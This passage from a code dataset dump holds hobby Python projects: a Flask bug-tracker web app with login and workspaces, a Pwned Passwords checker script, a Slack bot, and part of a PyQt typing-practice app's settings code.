db.Column(db.Integer, db.ForeignKey(\"user.user_id\"))\n bugs = db.relationship(\"Bug\", cascade=\"all, delete, delete-orphan\")\n\n\nclass User(db.Model, UserMixin):\n user_id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(320), unique=True)\n password = <PASSWORD>(db.<PASSWORD>(128))\n username = db.Column(db.String(USERNAME_MAX_LENGTH), unique=True)\n\n bugs = db.relationship(\"Bug\")\n comments = db.relationship(\"Comment\")\n workspaces = db.relationship(\n \"Workspace\",\n secondary=users_workspaces,\n backref=db.backref(\"users\", lazy=\"dynamic\"),\n )\n\n # Override UserMixin method to return correct id value\n def get_id(self):\n return self.user_id\n\n\nclass Bug(db.Model):\n bug_id = db.Column(db.Integer, primary_key=True)\n bug_title = db.Column(db.String(64))\n bug_description = db.Column(db.String(1024))\n date = db.Column(db.DateTime(timezone=True), default=func.now(), index=True)\n date_pretty = db.Column(db.String, default=pretty_date())\n is_important = db.Column(db.Boolean, unique=False, default=False)\n is_open = db.Column(db.Boolean, unique=False, default=True)\n close_message = db.Column(db.String(248))\n\n author_id = db.Column(db.Integer, db.ForeignKey(\"user.user_id\"))\n author_username = db.Column(db.String(USERNAME_MAX_LENGTH))\n workspace_id = db.Column(db.Integer, db.ForeignKey(\"workspace.workspace_id\"))\n\n comments = db.relationship(\"Comment\")\n\n\nclass Comment(db.Model):\n comment_id = db.Column(db.Integer, primary_key=True)\n content = db.Column(db.String(COMMENT_MAX_LENGTH))\n date = db.Column(db.DateTime(timezone=True), default=func.now(), index=True)\n date_pretty = db.Column(db.String, default=pretty_date())\n is_action = db.Column(db.Boolean, default=False)\n\n bug_id = db.Column(db.Integer, db.ForeignKey(\"bug.bug_id\"))\n author_id = db.Column(db.Integer, db.ForeignKey(\"user.user_id\"))\n author_username = db.Column(db.String(USERNAME_MAX_LENGTH))\n", "id": "2247863", "language": "Python", "matching_score": 1.9028851985931396, "max_stars_count": 1, "path": "just-a-tracker/website/models.py" }, { "content": "from flask import Blueprint, render_template, request, flash, redirect, url_for, jsonify\nfrom flask_login import login_required, current_user\nimport json\n\nfrom . import db\nfrom .models import Workspace, Bug, User, Comment, COMMENT_MAX_LENGTH\nfrom .helpers import (\n add_bug_to_workspace,\n add_user_to_workspace,\n add_comment_to_bug,\n add_action_comments,\n)\n\nviews = Blueprint(\"views\", __name__)\n\n\n@views.route(\"/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef home():\n if request.method == \"POST\":\n\n info = {\n \"project_name\": request.form.get(\"project-name\"),\n \"project_link\": request.form.get(\"project-link\"),\n }\n\n if info[\"project_name\"]:\n new_workspace = Workspace(**info)\n new_workspace.users.append(current_user)\n new_workspace.author_id = current_user.user_id\n db.session.add(new_workspace)\n db.session.commit()\n\n return render_template(\"home.html\", user=current_user)\n\n\n@views.route(\"/account\")\n@login_required\ndef account():\n return render_template(\"account.html\", user=current_user)\n\n\n@views.route(\"/create-workspace\")\n@login_required\ndef create_workspace():\n return render_template(\"create_workspace.html\", user=current_user)\n\n\n@views.route(\"/delete-workspace\", methods=[\"POST\"])\n@login_required\ndef delete_workspace():\n workspace_id = json.loads(request.data)[\"workspaceID\"]\n workspace = Workspace.query.get(workspace_id)\n\n if workspace:\n if workspace.author_id == current_user.user_id:\n db.session.delete(workspace)\n db.session.commit()\n return jsonify({})\n\n\n@views.route(\"/workspace/<workspace_id>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef workspace(workspace_id):\n workspace_object = Workspace.query.filter_by(workspace_id=workspace_id).first()\n\n if request.method == \"POST\":\n data = request.form\n\n if data.get(\"user-email\"):\n add_user_to_workspace(db, data, workspace_object)\n else:\n add_bug_to_workspace(db, current_user, data, workspace_id)\n\n if workspace_object and current_user in workspace_object.users:\n return render_template(\n \"workspace.html\",\n home_url=url_for(\"views.home\"),\n workspace=workspace_object,\n workspace_bugs_reversed=reversed(workspace_object.bugs),\n user=current_user,\n url=url_for(\"views.workspace\", workspace_id=workspace_id),\n )\n\n flash(\"The requested workspace was not found, or you do not have access to it.\")\n return redirect(url_for(\"views.home\"))\n\n\n@views.route(\"/remove-user\", methods=[\"POST\"])\n@login_required\ndef remove_user():\n data = json.loads(request.data)\n workspace_id = int(data[\"workspaceID\"])\n user_id = int(data[\"userID\"])\n\n workspace = Workspace.query.get(workspace_id)\n user = User.query.get(user_id)\n\n if user and workspace:\n has_permission = (\n workspace.author_id == current_user.user_id\n or user_id == current_user.user_id\n )\n\n if has_permission:\n if user_id != workspace.author_id:\n workspace.users.remove(user)\n db.session.commit()\n else:\n flash(\"Owner cannot be removed from the workspace.\")\n else:\n flash(\n f\"You do not have permission to remove {user.username}\"\n f\" from {workspace.project_name}!\"\n )\n\n return jsonify({})\n\n\n@views.route(\"/mark-bug\", methods=[\"POST\"])\n@login_required\ndef mark_bug():\n data = json.loads(request.data)\n\n bug_id = data.get(\"bugID\")\n bug = Bug.query.get(bug_id)\n workspace = Workspace.query.get(bug.workspace_id)\n\n make_open = False if data.get(\"makeOpen\") == \"false\" else True\n make_important = False if data.get(\"makeImportant\") == \"false\" else True\n\n # Make changes if conditions are met\n if workspace and current_user in workspace.users:\n # Add action comments if one or more of the attributes have changed\n add_action_comments(db, bug, workspace, make_open, make_important)\n\n # Change bug report attributes and commit changes\n bug.is_open = make_open\n bug.is_important = make_important\n db.session.commit()\n\n return jsonify({})\n\n\n@views.route(\"/delete-bug\", methods=[\"POST\"])\n@login_required\ndef delete_bug():\n data = json.loads(request.data)\n bug_id = int(data.get(\"bugID\"))\n\n bug = Bug.query.get(bug_id)\n if bug:\n workspace = Workspace.query.get(bug.workspace_id)\n\n has_permission = (\n current_user.user_id == workspace.author_id\n or current_user.user_id == bug.author_id\n )\n\n if has_permission:\n db.session.delete(bug)\n db.session.commit()\n else:\n flash(\n \"You do not have permission to remove this bug report from \"\n f\"the workspace for {workspace.project_name}.\"\n )\n else:\n flash(f\"Bug with id {bug_id} not found.\")\n\n return jsonify({})\n\n\n@views.route(\"/workspace/<workspace_id>/bugs/<bug_id>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef bug(workspace_id, bug_id):\n workspace_object = Workspace.query.get(workspace_id)\n bug_object = Bug.query.get(bug_id)\n\n if request.method == \"POST\":\n data = request.form\n\n add_comment_to_bug(\n db, bug_object, workspace_object, data.get(\"comment-content\"), False\n )\n\n passed_conditions = (\n workspace_object\n and bug_object\n and bug_object in workspace_object.bugs\n and current_user in workspace_object.users\n )\n\n if passed_conditions:\n return render_template(\n \"bug.html\",\n workspace=workspace_object,\n bug=bug_object,\n user=current_user,\n url=url_for(\"views.bug\", workspace_id=workspace_id, bug_id=bug_id),\n workspace_url=url_for(\"views.workspace\", workspace_id=workspace_id),\n comment_max_length=COMMENT_MAX_LENGTH,\n )\n else:\n flash(\n \"There was an error in retrieving the requested bug report page.\"\n \" Returning you to the workspace page now.\"\n )\n return redirect(url_for(\"views.workspace\", workspace_id=workspace_id))\n\n flash(\"The requested workspace was not found, or you do not have access to it.\")\n return redirect(url_for(\"views.home\"))\n\n\n@views.route(\"/delete-comment\", methods=[\"POST\"])\n@login_required\ndef delete_comment():\n data = json.loads(request.data)\n workspace_id = int(data.get(\"workspaceID\"))\n comment_id = int(data.get(\"commentID\"))\n\n workspace = Workspace.query.get(workspace_id)\n comment = Comment.query.get(comment_id)\n\n if comment:\n has_permission = (\n current_user.user_id == workspace.author_id\n or current_user.user_id == comment.author_id\n )\n\n if has_permission:\n db.session.delete(comment)\n db.session.commit()\n else:\n flash(\"You do not have permission to remove this comment.\")\n else:\n flash(f\"Comment with id {comment_id} not found.\")\n\n return jsonify({})\n", "id": "2158169", "language": "Python", "matching_score": 4.133386135101318, "max_stars_count": 1, "path": "just-a-tracker/website/views.py" }, { "content": "from flask import flash\nfrom flask_login import current_user\n\nfrom .models import Workspace, User, Bug, Comment, pretty_date\n\n\n# CONSTANTS\nRE_USERNAME = r\"^[\\w-]{6,}$\"\nRE_PASSWORD = r\"^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)[\\w\\W]{8,}$\"\n\nWRONG_PASS_RESPONSE = \"Password was incorrect. Please try again.\"\nSIGN_UP_RESPONSES = {\n \"pass_match\": (\n \"Your passwords did not match. Please make \"\n \"sure you type the same password in both fields.\"\n ),\n \"pass_format\": (\n \"Your password must be at least 8 characters long and\"\n \" contain: 1 uppercase letter, 1 lowercase letter and\"\n \" 1 number\"\n ),\n \"user_format\": (\n \"Username must be 6 characters or longer, and can only \"\n \"include letters, numbers and the symbols '_' and '-'\"\n ),\n \"user_exists\": \"Sorry, an account with that username already exists.\",\n \"email_exists\": \"Sorry, an account with that email address already exists\",\n}\n\n\n# FUNCTIONS\ndef get_user_by_username(username):\n return User.query.filter_by(username=username).first()\n\n\ndef get_user_by_email(email):\n return User.query.filter_by(email=email).first()\n\n\ndef find_user(username):\n \"\"\"Tries to get the user by username or email address and returns the result.\"\"\"\n\n user = get_user_by_username(username)\n if not user:\n user = get_user_by_email(username)\n\n return user\n\n\ndef add_bug_to_workspace(db, current_user, data, workspace_id):\n \"\"\"Adds a bug object connected to the given workspace to the database.\"\"\"\n\n workspace = Workspace.query.get(workspace_id)\n\n bug_info = {\n \"bug_title\": data.get(\"bug-title\"),\n \"bug_description\": data.get(\"bug-description\"),\n \"author_id\": current_user.user_id,\n \"author_username\": current_user.username,\n \"workspace_id\": workspace_id,\n }\n\n if bug_info[\"bug_title\"] and bug_info[\"bug_description\"]:\n if current_user in workspace.users:\n new_bug = Bug(**bug_info)\n db.session.add(new_bug)\n db.session.commit()\n\n # The following 2 comments are added on opening the bug report\n # so that they can be easily displayed in the discussion section\n\n # Opening comment\n add_comment_to_bug(\n db,\n new_bug,\n workspace,\n f\"Bug report opened by {current_user.username}\",\n True,\n )\n # Bug description\n add_comment_to_bug(\n db,\n new_bug,\n workspace,\n new_bug.bug_description,\n False,\n )\n\n else:\n flash(\"The current user does not have access to that workspace\")\n\n\ndef add_user_to_workspace(db, data, workspace):\n \"\"\"Adds given user to given workspace and commits the change.\"\"\"\n\n user = find_user(data.get(\"user-email\"))\n\n if user:\n if user not in workspace.users:\n workspace.users.append(user)\n db.session.commit()\n\n else:\n flash(\"That user is already associated with this workspace.\")\n else:\n flash(\"There is no user with that username or email address.\")\n\n\ndef add_comment_to_bug(db, bug, workspace, text, is_action):\n \"\"\"Adds a comment object to the given bug object and commits to the database.\"\"\"\n\n if bug and text:\n if current_user in workspace.users:\n new_comment = Comment(\n content=text,\n is_action=is_action,\n bug_id=bug.bug_id,\n author_id=current_user.user_id,\n author_username=current_user.username,\n )\n\n db.session.add(new_comment)\n db.session.commit()\n\n else:\n flash(\"The current user does not have access to that workspace\")\n\n\ndef add_action_comments(db, bug, workspace, make_open, make_important):\n \"\"\"\n Adds an action comment to a given bug object if one or more\n of its attributes have been changed.\n \"\"\"\n\n # List containing lists of conditions and their corresponding response to\n # give if true. Lists come in the format [condition, response if true]\n conditions_responses = [\n # Bug report closed\n [\n bug.is_open and not make_open,\n f\"Closed by {current_user.username} on {pretty_date()}\",\n ],\n # Bug report opened\n [\n not bug.is_open and make_open,\n f\"Reopened by {current_user.username} on {pretty_date()}\",\n ],\n # Bug report important mark removed\n [\n bug.is_important and not make_important,\n (\n f\"Important mark removed by {current_user.username}\"\n f\" on {pretty_date()}\"\n ),\n ],\n # Bug report marked as important\n [\n not bug.is_important and make_important,\n f\"Marked important by {current_user.username} on {pretty_date()}\",\n ],\n ]\n\n # Loop through conditions_responses and add an action comment with\n # the corresponding response if the condition is met\n for condition, response in conditions_responses:\n if condition:\n add_comment_to_bug(\n db,\n bug,\n workspace,\n response,\n True,\n )\n", "id": "1107943", "language": "Python", "matching_score": 3.8647520542144775, "max_stars_count": 1, "path": "just-a-tracker/website/helpers.py" }, { "content": "from flask import Blueprint, render_template, request, flash, redirect, url_for, jsonify\nfrom flask_login import login_user, login_required, logout_user, current_user\nfrom werkzeug.security import generate_password_hash, check_password_hash\nimport re\n\nfrom . import db\nfrom .models import User\nfrom .helpers import (\n get_user_by_email,\n get_user_by_username,\n find_user,\n SIGN_UP_RESPONSES,\n WRONG_PASS_RESPONSE,\n RE_PASSWORD,\n RE_USERNAME,\n)\n\n\nauth = Blueprint(\"auth\", __name__)\n\n# HELPERS\ndef validate_sign_up_info(form):\n email = form.get(\"email\")\n username = form.get(\"username\")\n password = form.get(\"password\")\n password_confirm = form.get(\"password-confirm\")\n\n result = (\n True,\n {\n \"email\": email,\n \"username\": username,\n \"password\": generate_password_hash(password, method=\"sha256\"),\n },\n )\n\n conditions = {\n \"pass_match\": password != password_confirm,\n \"pass_format\": not re.match(RE_PASSWORD, password),\n \"user_format\": not re.match(RE_USERNAME, username),\n \"user_exists\": get_user_by_username(username),\n \"email_exists\": get_user_by_email(email),\n }\n\n for key, condition in conditions.items():\n if condition:\n flash(SIGN_UP_RESPONSES[key])\n result = (False, {})\n\n return result\n\n\ndef validate_login_info(form):\n result = None\n\n username = form.get(\"username\")\n password = form.get(\"password\")\n\n user = find_user(username)\n\n if user:\n if check_password_hash(user.password, password):\n result = user\n\n else:\n flash(WRONG_PASS_RESPONSE)\n\n else:\n flash(\"No account matches that username or email.\")\n\n return result\n\n\n# ROUTES\n@auth.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"POST\":\n validated_user = validate_login_info(request.form)\n\n if validated_user:\n # Login user\n login_user(validated_user, remember=True)\n return redirect(url_for(\"views.home\"))\n\n return render_template(\n \"login.html\", user=current_user, sign_up_url=url_for(\"auth.sign_up\")\n )\n\n\n@auth.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for(\"auth.login\"))\n\n\n@auth.route(\"/sign-up\", methods=[\"GET\", \"POST\"])\ndef sign_up():\n if request.method == \"POST\":\n validated = validate_sign_up_info(request.form)\n\n if validated[0]:\n # Add user to database\n new_user = User(**validated[1])\n db.session.add(new_user)\n db.session.commit()\n\n # Login new user\n login_user(new_user, remember=True)\n\n return redirect(url_for(\"views.home\"))\n\n return render_template(\"sign_up.html\", user=current_user)\n\n\n@auth.route(\"/change-password\", methods=[\"POST\"])\n@login_required\ndef change_password():\n # Assign data from form\n form = request.form\n current_password = form.get(\"current-password\")\n new_password = form.get(\"new-password\")\n confirm_new_password = form.get(\"confirm-new-password\")\n\n # Password checks\n if not check_password_hash(current_user.password, current_password):\n flash(WRONG_PASS_RESPONSE)\n elif not re.match(RE_PASSWORD, new_password):\n flash(SIGN_UP_RESPONSES[\"pass_format\"])\n elif new_password != confirm_new_password:\n flash(SIGN_UP_RESPONSES[\"pass_match\"])\n elif new_password == current_password:\n flash(\"Your new password cannot be the same as your old password.\")\n\n # Change user password if all checks passed\n else:\n current_user.password = generate_password_hash(<PASSWORD>_password, method=\"sha256\")\n db.session.commit()\n flash(\"Your password has been changed.\")\n\n return redirect(url_for(\"views.account\"))\n\n\n@auth.route(\"/change-email\", methods=[\"POST\"])\n@login_required\ndef change_email():\n # Assign data from form\n form = request.form\n password = form.get(\"change-email-password\")\n new_email = form.get(\"new-email\")\n confirm_new_email = form.get(\"confirm-new-email\")\n\n # Perform checks\n if not check_password_hash(current_user.password, password):\n flash(WRONG_PASS_RESPONSE)\n elif not new_email == confirm_new_email:\n flash(\"Your emails did not match. Make sure you enter the same in both fields.\")\n elif new_email == current_user.email:\n flash(f\"Your email is already set to {new_email}\")\n\n # If all checks passed, change users email address\n else:\n current_user.email = new_email\n db.session.commit()\n flash(f\"The email address for your account has been changed to {new_email}.\")\n\n return redirect(url_for(\"views.account\"))\n", "id": "10672796", "language": "Python", "matching_score": 1.584450602531433, "max_stars_count": 1, "path": "just-a-tracker/website/auth.py" }, { "content": "import requests\nimport sys\nimport hashlib\n\n\ndef api_request(hash_password):\n \"\"\"\n Sends first 5 characters of an encoded SHA-1 password to the pwned\n checker api, which then returns tail ends of encoded passwords\n which matched the first 5 characters sent.\n \"\"\"\n\n url = \"https://api.pwnedpasswords.com/range/\" + hash_password\n re = requests.get(url)\n\n if re.status_code != 200:\n raise RuntimeError(\n f\"Error fetching: {re.status_code}, check the api and try again.\"\n )\n\n return re\n\n\ndef get_count(hashes, hash_to_check):\n \"\"\"\n Counts encoded tail ends of passwords which match given tail end\n of password being checked.\n \"\"\"\n\n hashes = (line.split(\":\") for line in hashes.text.splitlines())\n for h, count in hashes:\n if h == hash_to_check:\n return count\n return 0\n\n\ndef api_check(password):\n \"\"\"\n Encodes password given with SHA-1 using the hashlib library.\n\n Gets the response from api with only the first 5 characters\n of the encoded password, so that the whole password is not\n sent over the internet.\n\n From the tail ends of encoded passwords returned by the\n api_request, the tail ends which match that of the encoded\n password are counted and returned as a number.\n \"\"\"\n\n sha1 = hashlib.sha1(password.encode(\"utf-8\")).hexdigest().upper()\n first5, tail = sha1[:5], sha1[5:]\n response = api_request(first5)\n\n return get_count(response, tail)\n\n\ndef format_password(password):\n \"\"\"\n Formats password for printing to the terminal.\n\n This is done so that the password is not returned as plain text.\n \"\"\"\n\n return password[0] + \"*\" * (len(password) - 1)\n\n\nif __name__ == \"__main__\":\n for password in sys.argv[1:]:\n count = api_check(password)\n\n password = format_password(password)\n\n if count:\n print(\n f\"\\n{password} was found {count} times... you \"\n \"should probably change your password\"\n )\n else:\n print(f\"\\n{password} was not found. Carry on.\")\n", "id": "6357536", "language": "Python", "matching_score": 0.3023761212825775, "max_stars_count": 1, "path": "password-checker/pass_check_script.py" }, { "content": "import slack\nimport os\nfrom dotenv import load_dotenv\nfrom flask import Flask, request, Response\nfrom slackeventsapi import SlackEventAdapter\nimport profanity_check\n\nfrom helpers import helper\n\n# CONSTANTS\nFOLDER_PATH = os.path.dirname(os.path.abspath(__file__))\nENV_PATH = os.path.join(FOLDER_PATH, \".env\")\n\nUSEFUL_EVENT_INFO = [\"channel\", \"user\", \"text\", \"ts\"]\nEVENTS_PATH = \"/slack/events\"\nCOMMANDS_ROUTES = {\n \"messages_count\": \"/messages-count\",\n \"reminder_mins\": \"/reminder-mins\",\n}\n\nPROFANITY_RESPONSE = \"Please do not include profanity in your messages!\"\n\n# SETUP\nload_dotenv(dotenv_path=ENV_PATH)\n\napp = Flask(__name__)\nslack_event_adapter = SlackEventAdapter(\n os.environ[\"SLACK_SIGNING_SECRET\"], EVENTS_PATH, app\n)\n\nclient = slack.WebClient(token=os.environ[\"SLACK_API_TOKEN\"])\n\nBOT_USER_ID = client.api_call(\"auth.test\")[\"user_id\"]\nmessages_counter = {}\nwelcome_messages = {}\n\n\n# EVENT HANDLER FUNCTIONS\n@slack_event_adapter.on(\"message\")\ndef on_message(payload):\n # Get basic info\n event = payload.get(\"event\", {})\n channel_id, user_id, text, ts = helper.get_dict_info(event, USEFUL_EVENT_INFO)\n\n # Stop function if user is a bot or if no user is provided (i.e. on message update)\n if not user_id or user_id == BOT_USER_ID:\n return\n\n # Increase messages counter for this user\n if user_id in messages_counter:\n messages_counter[user_id] += 1\n else:\n messages_counter[user_id] = 1\n\n # Start message\n if text.lower() == \"start\" and f\"@{user_id}\" not in welcome_messages:\n welcome_message = helper.send_welcome_message(client, f\"@{user_id}\")\n welcome_messages[f\"@{user_id}\"] = welcome_message\n # Profanity response\n elif profanity_check.predict([text.lower()])[0]:\n helper.reply_message(client, channel_id, ts, PROFANITY_RESPONSE)\n\n\n@slack_event_adapter.on(\"reaction_added\")\ndef on_reaction(payload):\n event = payload.get(\"event\", {})\n reacted_item = event.get(\"item\", {})\n channel_id = reacted_item.get(\"channel\")\n user_id = event.get(\"user\")\n\n if f\"@{user_id}\" not in welcome_messages:\n return\n\n welcome_message = welcome_messages[f\"@{user_id}\"]\n welcome_message.is_completed = True\n welcome_message.update_blocks()\n welcome_message.to_channel = channel_id\n welcome_messages[channel_id] = welcome_messages[f\"@{user_id}\"]\n del welcome_messages[f\"@{user_id}\"]\n\n message = welcome_message.get_message()\n response = client.chat_update(**message)\n welcome_message.timestamp = response[\"ts\"]\n\n\n# COMMAND FUNCTIONS\n@app.route(COMMANDS_ROUTES[\"messages_count\"], methods=[\"POST\"])\ndef messages_count():\n form_data = request.form\n user_id, channel_id = helper.get_dict_info(form_data, [\"user_id\", \"channel_id\"])\n\n helper.send_message(\n client,\n channel_id,\n f\"User {user_id} has sent {messages_counter.get(user_id, 0)} messages\",\n )\n\n return Response(), 200\n\n\n@app.route(COMMANDS_ROUTES[\"reminder_mins\"], methods=[\"POST\"])\ndef reminder_minutes():\n form_data = request.form\n user_id, text = helper.get_dict_info(form_data, [\"user_id\", \"text\"])\n dm_channel = f\"@{user_id}\"\n\n if helper.verify_number(text):\n helper.schedule_message(\n client,\n dm_channel,\n f\"{text} minute(s) have passed!\",\n helper.get_timestamp(minutes=int(text)),\n )\n helper.send_message(client, dm_channel, f\"Reminder set for {text} minute(s)\")\n else:\n helper.send_message(\n client,\n dm_channel,\n (\n \"Your command failed to load. \"\n \"Please provide a positive whole number for the minutes argument. \"\n f\"Argument you provided: '{text}'\"\n ),\n )\n\n return Response(), 200\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "id": "6290910", "language": "Python", "matching_score": 3.037018299102783, "max_stars_count": 0, "path": "slack-bot/main.py" }, { "content": "from datetime import datetime, timedelta\n\nfrom helpers import welcome\n\n\n# HELPER FUNCTIONS\ndef send_message(client, channel_id, text):\n \"\"\"\n Sends message of given text to a given channel_id.\n\n To make a message a direct message to a user you can\n simply put '@' in front of the user id, i.e. use\n `f'@{user_id}'` in place of channel_id.\n \"\"\"\n\n client.chat_postMessage(channel=channel_id, text=text)\n\n\ndef reply_message(client, channel_id, ts, text):\n \"\"\"Replies to a message on the given channel_id in a thread.\"\"\"\n\n client.chat_postMessage(\n channel=channel_id,\n thread_ts=ts,\n text=text,\n )\n\n\ndef get_timestamp(seconds=0, minutes=0, hours=0, days=0):\n \"\"\"\n Returns a timestamp for a given time in the future provided in keyword arguments.\n \"\"\"\n MINIMUM = timedelta(seconds=14)\n delta = timedelta(seconds=0, minutes=0, hours=0, days=0)\n delta = delta if delta > MINIMUM else MINIMUM\n\n return (datetime.now() + delta).timestamp()\n\n\ndef schedule_message(client, channel, text, ts):\n \"\"\"Schedule a message to be posted to the given channel.\"\"\"\n\n client.chat_scheduleMessage(channel=channel, text=text, post_at=ts)\n\n\ndef get_dict_info(dictionary, info_to_get):\n \"\"\"Returns list containing data from given dictionary.\"\"\"\n\n return [dictionary.get(info) for info in info_to_get]\n\n\ndef send_welcome_message(client, channel_id):\n \"\"\"\n Sends welcome message to a given channel.\n\n Returns a WelcomeMessage object.\n \"\"\"\n welcome_message = welcome.WelcomeMessage(channel_id)\n message = welcome_message.get_message()\n response = client.chat_postMessage(**message)\n welcome_message.timestamp = response[\"ts\"]\n\n return welcome_message\n\n\ndef verify_number(string):\n \"\"\"Returns a boolean value on whether a given string is a positive integer.\"\"\"\n\n try:\n integer = int(string)\n assert integer > 0\n except (ValueError, AssertionError):\n return False\n return True\n", "id": "5210490", "language": "Python", "matching_score": 1.2033319473266602, "max_stars_count": 0, "path": "slack-bot/helpers/helper.py" }, { "content": "from helpers.message import Message\n\n\nclass WelcomeMessage(Message):\n START_TEXT = {\n \"type\": \"section\",\n \"text\": {\n \"type\": \"mrkdwn\",\n \"text\": (\n \"Welcome to this channel\\n\\n\" \"*Get started by completing the tasks*\"\n ),\n },\n }\n\n DIVIDER = {\"type\": \"divider\"}\n\n def __init__(self, to_channel):\n super().__init__(to_channel)\n self.update_blocks()\n\n def update_blocks(self):\n \"\"\"Sets blocks to be shown on message.\"\"\"\n\n self.blocks = [self.START_TEXT, self.DIVIDER, self._get_reaction_task()]\n\n def _get_reaction_task(self):\n \"\"\"Gets dictionary for reaction block of welcome message.\"\"\"\n\n checkmark = \":white_check_mark:\"\n if not self.is_completed:\n checkmark = \":white_large_square:\"\n\n text = f\"{checkmark} *React to this message!*\"\n\n return {\"type\": \"section\", \"text\": {\"type\": \"mrkdwn\", \"text\": text}}\n", "id": "1482894", "language": "Python", "matching_score": 1.5324323177337646, "max_stars_count": 0, "path": "slack-bot/helpers/welcome.py" }, { "content": "class Message:\n def __init__(self, to_channel):\n self.to_channel = to_channel\n self.timestamp = \"\"\n self.text = \"\"\n self.blocks = []\n\n self.is_completed = False\n\n def get_message(self):\n return {\n \"ts\": self.timestamp,\n \"channel\": self.to_channel,\n \"text\": self.text,\n \"blocks\": self.blocks,\n }\n", "id": "176403", "language": "Python", "matching_score": 0.03431696817278862, "max_stars_count": 0, "path": "slack-bot/helpers/message.py" }, { "content": "import json\nfrom dataclasses import dataclass, field, fields\nfrom pathlib import Path\n\nfrom dataclasses_json import dataclass_json\n\nfrom ps_typer.data import style\nfrom ps_typer.data.utils import PATH_SOUNDS, PATH_USER_PREFERENCES_JSON\n\n# DEFAULTS ------------------------------------------------------------------------------\nDEFAULT_COLOURS = style.get_colours()\nDEFAULT_SOUND_FILENAME = \"key_1.wav\"\n\n\n# MODEL ---------------------------------------------------------------------------------\n@dataclass_json\n@dataclass\nclass Preferences:\n selected_mode: int = 0\n dark_mode: bool = True\n colours: dict[str, dict[str, str]] = field(default_factory=lambda: DEFAULT_COLOURS)\n\n play_sound: bool = False\n sound_filename: str = DEFAULT_SOUND_FILENAME\n\n\n# DATA HANDLER --------------------------------------------------------------------------\nclass UserPreferencesDataHandler:\n def __init__(self) -> None:\n self._load_preferences()\n\n def _load_preferences(self) -> None:\n self.preferences: Preferences\n\n # Default values if the json file does not exist\n if not PATH_USER_PREFERENCES_JSON.is_file():\n self.preferences = Preferences()\n return\n\n with open(PATH_USER_PREFERENCES_JSON, \"r\") as json_file:\n # https://github.com/lidatong/dataclasses-json/issues/31\n self.preferences = Preferences.from_dict( # type: ignore\n json.load(json_file)\n )\n\n self._ensure_exists_sound_file()\n\n def _save_preferences(self) -> None:\n with open(PATH_USER_PREFERENCES_JSON, \"w\") as json_file:\n # https://github.com/lidatong/dataclasses-json/issues/31\n json.dump(self.preferences.to_dict(), json_file) # type: ignore\n\n def _ensure_exists_sound_file(self) -> None:\n sound_file: Path = PATH_SOUNDS / self.preferences.sound_filename\n if not sound_file.is_file():\n self.preferences.sound_filename = DEFAULT_SOUND_FILENAME\n\n def get_preferences(self) -> Preferences:\n return self.preferences\n\n def toggle_dark_mode(self) -> None:\n self.preferences.dark_mode = not self.preferences.dark_mode\n self.preferences.colours = style.get_colours(self.preferences.dark_mode)\n self._save_preferences()\n\n def set_selected_mode(self, mode: int) -> None:\n self.preferences.selected_mode = mode\n self._save_preferences()\n\n def toggle_play_sound(self) -> None:\n self.preferences.play_sound = not self.preferences.play_sound\n self._save_preferences()\n\n def set_sound_filename(self, filename: str) -> None:\n self.preferences.sound_filename = filename\n self._ensure_exists_sound_file()\n self._save_preferences()\n\n\nif __name__ == \"__main__\":\n from pprint import pprint\n\n p = UserPreferencesDataHandler()\n p.toggle_dark_mode()\n pprint(p.get_preferences())\n print(PATH_USER_PREFERENCES_JSON)\n", "id": "2940421", "language": "Python", "matching_score": 3.159820079803467, "max_stars_count": 0, "path": "ps_typer/data/user_preferences_handler.py" }, { "content": "from pathlib import Path\n\nfrom PyQt5 import QtCore, QtWidgets\n\nfrom ps_typer.data.user_preferences_handler import UserPreferencesDataHandler\nfrom ps_typer.data.utils import PATH_SOUNDS\nfrom ps_typer.type_test.components import Switch\nfrom ps_typer.ui import settings_window\n\n\nclass SettingsWindow(QtWidgets.QWidget, settings_window.Ui_settingsWindow):\n def __init__(\n self, user_preferences_handler: UserPreferencesDataHandler, *args, **kwargs\n ):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n self.user_preferences_handler: UserPreferencesDataHandler = (\n user_preferences_handler\n )\n\n # Switches\n self._setup_switches()\n if self.user_preferences_handler.preferences.dark_mode:\n self.toggleDarkMode.setChecked(True)\n\n # Keystroke sounds\n if self.user_preferences_handler.preferences.play_sound:\n self.toggleKeystrokeSound.setChecked(True)\n self._set_sounds_options()\n self._set_selected_sound_option()\n self.comboSelectSound.currentIndexChanged.connect(\n self._handle_apply_button_enabled_state\n )\n\n # Disable apply button on startup\n self.buttonApply.setEnabled(False)\n\n def _get_switch(self):\n switch: Switch = Switch(\n **self.user_preferences_handler.preferences.colours[\"switch\"]\n )\n switch.stateChanged.connect(self._handle_apply_button_enabled_state)\n return switch\n\n def _replace_checkbox(\n self,\n layout: QtWidgets.QHBoxLayout,\n checkbox: QtWidgets.QCheckBox,\n switch: Switch,\n ) -> None:\n layout.replaceWidget(checkbox, switch)\n checkbox.close()\n\n def _setup_switches(self):\n \"\"\"Replace placeholder checkboxes with custom toggle switches\"\"\"\n\n self.toggleDarkMode = self._get_switch()\n self.toggleKeystrokeSound = self._get_switch()\n\n self._replace_checkbox(\n self.layoutKeystrokeSounds,\n self.checkBoxToggleSounds,\n self.toggleKeystrokeSound,\n )\n self._replace_checkbox(\n self.layoutDarkMode, self.checkBoxDarkMode, self.toggleDarkMode\n )\n\n def _set_sounds_options(self) -> None:\n \"\"\"\n Sets up options for the dropdown menu to select keystroke sounds in the\n settings menu.\n \"\"\"\n\n file_path: Path\n for file_path in PATH_SOUNDS.iterdir():\n if file_path.suffix == \".wav\":\n self.comboSelectSound.addItem(file_path.name)\n\n def _find_sound_file_index(self, sound_file: str) -> int:\n \"\"\"\n Returns the index of the given file name within the settings window\n comboSelectSound object.\n \"\"\"\n\n return self.comboSelectSound.findText(sound_file, QtCore.Qt.MatchFixedString)\n\n def _set_selected_sound_option(self) -> None:\n \"\"\"\n Sets the selected option for sound file from the settings window's\n comboSelectSound object to the given sound file name.\n \"\"\"\n\n index: int = self._find_sound_file_index(\n self.user_preferences_handler.preferences.sound_filename\n )\n\n if index >= 0:\n self.comboSelectSound.setCurrentIndex(index)\n\n def _get_selections(self) -> 